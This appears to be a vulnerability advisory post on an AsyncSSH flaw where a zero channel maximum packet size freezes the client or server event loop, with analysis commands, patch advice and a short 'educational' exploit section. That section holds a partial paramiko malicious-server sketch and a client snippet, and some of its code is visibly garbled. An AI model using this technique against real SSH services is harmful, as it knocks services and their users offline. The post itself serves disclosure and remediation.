Listen to this Post
AsyncSSH stores peer-supplied channel maximum packet size without a lower-bound check.
A malicious SSH server can wedge an AsyncSSH client.
An authenticated client can wedge an AsyncSSH server.
The trigger is a channel maximum packet size of 0.
The client vector uses SSH_MSG_CHANNEL_OPEN_CONFIRMATION from server to client.
The server vector uses SSH_MSG_CHANNEL_OPEN from client to server.
AsyncSSH assigns the peer value directly to _send_pktsize.
In process_open, line 465 stores send_pktsize with no >= 1 check.
In process_open_confirmation, line 528 stores send_pktsize with no >= 1 check.
The first channel write calls SSHChannel._flush_send_buf.
_flush_send_buf enters a synchronous infinite loop.
The loop cannot be interrupted by asyncio.wait_for or any timeout.
The loop body has no await.
No await means the entire asyncio event loop is blocked.
With _send_pktsize == 0, pktsize becomes 0.
pktsize = min(self._send_window, self._send_pktsize) is 0.
buf[:0] is empty.
del buf[:0] is a no-op.
_send_window is never decremented.
The while condition remains permanently true.
For a server, one malicious authenticated channel freezes all current and future connections.
For a client, the attacker is the server and needs no valid credentials.
Both vectors are a single SSH message.
Both vectors are deterministic.
Both vectors cause total availability loss for the affected process.
RFC 4254 §5.1 leaves receiver behavior for maximum packet size = 0 undefined.
The value must be rejected rather than stored.
Affected versions are <= 2.23.1, the latest release on 2026-06-06.
The unguarded code is also present on master at channel.py:465/528.
Verified end-to-end on 2.23.1.
Maintainer Ron Frederick confirmed the freeze.
Shutting the server down does not break clients out of the loop.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H is 6.5 Medium.
The real impact is event-loop and connection freeze, not machine-wide CPU exhaustion.
Reported by zhangph (afldl), 2026-06-20.
DailyCVE Form:
Platform: AsyncSSH
Version: <= 2.23.1
Vulnerability : Zero packet size
Severity: Medium
date: 2026-06-20
Prediction: v2.24.0 release
(end of form)
What Undercode Say:
Analytics
$ grep -n “_send_pktsize” asyncssh/channel.py
$ sed -n ‘305,320p’ asyncssh/channel.py
$ sed -n ‘465p;528p’ asyncssh/channel.py
$ python3 – <<'PY'
focused harness driving SSHChannel._flush_send_buf with _send_pktsize=0
while self._send_buf and self._send_window:
pktsize = min(self._send_window, self._send_pktsize)
buf, datatype = self._send_buf[bash]
if len(buf) > pktsize:
data = buf[:pktsize]
del buf[:pktsize]
self._send_window -= len(data)
PY
Exploit: (Educational Purposes!)
malicious_server.py (paramiko)
import paramiko
import socket
class MaliciousServer(paramiko.ServerInterface):
def check_auth_password(self, username, password):
return paramiko.AUTH_SUCCESSFUL
def get_allowed_auths(self, username):
return ‘password’
def check_channel_request(self, kind, chanid):
return paramiko.OPEN_SUCCEEDED
sock = socket.socket()
sock.bind((‘127.0.0.1’, 8022))
sock.listen(1)
client, addr = sock.accept()
transport = paramiko.Transport(client)
transport.add_server_key(paramiko.RSAKey.generate(2048))
transport.start_server(server=MaliciousServer())
chan = transport.accept(20)
force max_packet_size=0 in SSH_MSG_CHANNEL_OPEN_CONFIRMATION
client.py (real asyncssh)
import asyncio
import asyncssh
async def main():
async with asyncssh.connect(‘127.0.0.1’, port=8022, known_hosts=None) as conn:
chan = await conn.open_session()
await chan.write(‘A’ 1024)
asyncio.new_event_loop().run_until_complete(main())
Protection: from this CVE
$ pip install asyncssh>=2.24.0
$ grep -n “Invalid maximum packet size” asyncssh/connection.py
if send_pktsize == 0:
raise ProtocolError(‘Invalid maximum packet size’)
after send_pktsize = packet.get_uint32() in
_process_channel_open and _process_channel_open_confirmation
Impact:
Client vector: malicious SSH server replies to channel open with maximum packet size = 0; client wedges on first channel write.
Server vector: authenticated client opens channel with maximum packet size = 0; any server-side channel write wedges AsyncSSH server event loop, freezing all current and future connections.
Single low-privilege account can take the whole server down.
Both vectors are a single SSH message, deterministic, and cause total availability loss for the affected process.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H (6.5 Medium).
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

